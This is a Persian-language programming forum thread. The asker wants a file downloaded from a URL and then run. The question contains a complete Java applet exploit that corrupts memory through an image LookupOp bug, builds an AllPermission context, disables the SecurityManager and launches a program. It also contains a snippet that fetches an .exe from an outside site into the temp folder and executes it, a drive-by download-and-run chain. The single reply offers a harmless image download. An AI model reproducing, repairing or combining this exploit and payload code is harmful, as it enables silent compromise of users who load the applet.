0 امتیاز
قبل در برنامه نویسی توسط (10 امتیاز)
ویرایش شده قبل توسط

سلام
کسی میتونه درمورد اینکه چطور یک فایل رو از یک url بگیرم و دانلود کنم و بعدش بتونه اجرا بشه کمکم کنه؟
این کدش هست ولی نمیدونم چرا برای url پاسخگو نیست یعنی قسمت دانلودش انجام نمیشه




import java.awt.image.*;
import java.beans.Statement;
import java.security.*;
import java.applet.*;


public class TestByteBI extends Applet {
	
	public int numArrays_ = 10;
    	public final int arrayLength = 11;
    	public int[][] Arrays_;
	
	
	public TestByteBI() {

	}

    public void init() {
        go();
    }
	
	public void go() {
		BufferedImage src, dst;
		
		Kernel kernel;
		
		try {
			String name = "setSecurityManager";
        		Object[] o1 = new Object[1];
        		Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
        	
        		Arrays_ = new int[numArrays_][];
        	
			kernel = new Kernel(1,1, new float[]{1.0f, 1.0f, 1.0f, 1.0f});
			byte[][] data = new byte[1][2000];
			for (int i = 0; i < data.length; ++ i) {
				for (int j = 0; j < data[i].length; ++ j) {
					data[i][j] = 0x41;
				}
			}
			ByteLookupTable lookupTable = new ByteLookupTable(0, data);
			
			LookupOp op = new LookupOp(lookupTable, null);
			
			int srcW = 20, srcH = 20;
			int dstW = 7, dstH = 7;
			
			src = new MyBufferedImage(srcW, srcH, dstW, dstH, BufferedImage.TYPE_USHORT_GRAY);
			
			BufferedImage tmp = new BufferedImage(dstW, dstH, BufferedImage.TYPE_BYTE_GRAY);
			
			
			DataBufferByte dstBuffer = new DataBufferByte(dstW * dstH); 
			
			for ( int i = 0; i < numArrays_; ++ i ) {
    				Arrays_[i] = new int[arrayLength];
    				for ( int j = 0; j < arrayLength; ++ j ) {
    					Arrays_[i][j] = 0x696b7579;
    				}
    			}
    			
    			WritableRaster raster = Raster.createWritableRaster(tmp.getSampleModel(), dstBuffer, null);
			
			dst = new BufferedImage(tmp.getColorModel(), raster, false, null);
			
			
			
			
    	
    	 
        		Object[] oo = new Object[7];

        		oo[2] = new Statement(System.class, name, o1);

        		// create powerful AccessControlContext
        		Permissions ps = new Permissions();
        		ps.add(new AllPermission());	
        
       			 
        			oo[3] = new AccessControlContext(
                			new ProtectionDomain[]{
                   			 new ProtectionDomain(
                     			   new CodeSource(
                         		   new java.net.URL("file:///"), 
                          		  new java.security.cert.Certificate[0] 
                        		),
                        	ps
                   	 )
                	}
            		);
        	
            
        // store System.class pointer in oo[]
        		oo[4] = ((Statement)oo[2]).getTarget();	
			
			op.filter(src, dst);
			
			 int[] a = null;
        
        for ( int i = 0; i < numArrays_; ++ i ) {
        	if ( Arrays_[i] != null && Arrays_[i].length > arrayLength ) {
        		a = Arrays_[i];
        		break;
        	}
        }
        
        if ( null == a ) {
        	System.out.println( "Failed to overwrite array length!" );
        	return;
        }
        
        
        boolean found = false;
        int ooLen = oo.length;
        for(int i=arrayLength+2; i < a.length; i++)
                if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
                 && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0   // oo[2,3,4] != null    
                 && a[i+5]==0 && a[i+6]==0)               // oo[5,6] == null
                {
                    // read pointer from oo[4]
                    int stmTrg = a[i+4];
                    // search for the Statement.target field behind oo[]
                    for(int j=i+7; j < i+7+64; j++){
                        if (a[j] == stmTrg) {
                            // overwrite default Statement.acc by oo[3] ("AllPermission")
                            a[j-1] = a[i+3];
                            found = true;
                            break;
                        }
                    }
                    if (found) break;
                }

            // check results 
            if (!found) {
                System.out.println( "Failed to find object array!" );
            } else try {
                // show current SecurityManager
                System.out.println("Security Manager = " + System.getSecurityManager());		

                // call System.setSecurityManager(null)
                ((Statement)oo[2]).execute();	

                // show results: SecurityManager should be null
                System.out.println("Security Manager = " + System.getSecurityManager());
                
                Runtime.getRuntime().exec( "calc" );
            } catch (Exception ex) {
                ex.printStackTrace();
            } 
		} catch (Exception ex) {
			ex.printStackTrace();
		}
		
		
		
	}
	
	public static void main(String[] args) {
		new TestByteBI().go();
	}
	
	
	public static class MyBufferedImage extends BufferedImage {
		private int fakeW_, fakeH_;
		
		public MyBufferedImage(int w, int h, int fakeW, int fakeH, int type) {
			super(w, h, type);
			
			fakeW_ = fakeW;
			fakeH_ = fakeH;
		}
		
		public int getWidth() {
			return fakeW_;
		}
		
		public int getHeight() {
			return fakeH_;
		}
	}
}

 

این کد رو هم برای اینکه فایل دانلود بشه و بره به مسیر temp پیدا کردم ولی اینم جواب نداد

try {
            java.io.BufferedInputStream in = new java.io.BufferedInputStream(new java.net.URL("http://sinadir.com/test.exe").openStream());
            java.io.FileOutputStream fos = new java.io.FileOutputStream(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
            java.io.BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
            byte[] data = new byte[1024];
            int x = 0;
            while ((x = in.read(data, 0, 1024)) >= 0) {
                bout.write(data, 0, x);
            }
            bout.close();
            in.close();
            p = Runtime.getRuntime().exec(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
            if (p == null) {
                System.out.println("Null process, crap");
            }
            p.waitFor();
        }

 

1 پاسخ

0 امتیاز
قبل توسط (1.1هزار امتیاز)

کد زیر لوگو سایت جواب یاب رو دانلود میکنه و بعد با برنامه shotwell در اوبونتو اونو نمایش میده:

    public static final String FILE_NAME = "javabyab-logo.png";

    public static void main(String[] args) throws IOException {
        URL website = new URL("https://javabyab.com/images/javabyab-logo.png");
        ReadableByteChannel rbc = Channels.newChannel(website.openStream());
        FileOutputStream fos = new FileOutputStream(FILE_NAME);
        fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);

        //show image using shotwell in ubuntu
        Runtime.getRuntime().exec("shotwell "+ FILE_NAME);
    }

سوالات مشابه

0 امتیاز
1 پاسخ 8.2هزار بازدید
0 امتیاز
0 پاسخ 490 بازدید
+1 امتیاز
1 پاسخ 1.6هزار بازدید
+1 امتیاز
0 پاسخ 1.4هزار بازدید
+5 امتیاز
8 پاسخ 14.9هزار بازدید
0 امتیاز
0 پاسخ 1.4هزار بازدید
سوال شده 10 سال قبل در برنامه نویسی توسط Saeed Zarinfam (1.1هزار امتیاز)
0 امتیاز
1 پاسخ 411 بازدید
+1 امتیاز
1 پاسخ 527 بازدید
...